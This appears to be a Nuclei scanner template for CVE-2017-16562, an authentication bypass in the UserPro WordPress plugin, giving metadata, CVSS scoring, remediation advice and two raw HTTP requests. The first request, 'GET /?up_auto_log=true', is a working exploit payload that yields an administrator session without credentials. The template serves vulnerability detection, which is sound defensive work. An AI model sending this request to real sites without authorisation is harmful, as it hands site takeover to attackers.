The UserPro plugin before 4.9.17.1 for WordPress, when used on a site that has the default "admin" username, allows unauthenticated remote attackers to bypass authentication and obtain administrative access by supplying up_auto_log=true in the query string of the default URI. The plugin's auto-login routine logs the request in as the "admin" account without any credential check, establishing an authenticated administrator session.
id: CVE-2017-16562
info:
name: UserPro < 4.9.17.1 - Authentication Bypass
author: DhiyaneshDk
severity: critical
description: |
The UserPro plugin before 4.9.17.1 for WordPress, when used on a site that has the default "admin" username, allows unauthenticated remote attackers to bypass authentication and obtain administrative access by supplying up_auto_log=true in the query string of the default URI. The plugin's auto-login routine logs the request in as the "admin" account without any credential check, establishing an authenticated administrator session.
impact: |
Full administrative takeover of the WordPress site by an unauthenticated attacker.
remediation: |
Update UserPro to 4.9.17.1 or later. Avoid using the default "admin" username.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2017-16562
- https://wpscan.com/vulnerability/6d5da73e-30c2-4100-bceb-634f9c95a30a/
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/userpro
- https://cvedetails.com/cve/CVE-2017-16562/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2017-16562
cwe-id: CWE-287
metadata:
verified: true
max-request: 2
vendor: userproplugin
product: userpro
framework: wordpress
tags: cve,cve2017,wordpress,wp-plugin,userpro,auth-bypass,unauth,kev,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET /?up_auto_log=true HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: header
words:
- "wordpress_logged_in"
internal: true
- raw:
- |
GET /wp-admin/ HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'id="wpadminbar"'
- '/wp-admin/'
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100f26b157063367b13016917baeeec496dcb726ad08959510bcf57bfe273df3e70022100f32c69604a8bcced6ba635e216ab54292f4ed97c20cc97c0da795df5c9a8a8bb:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.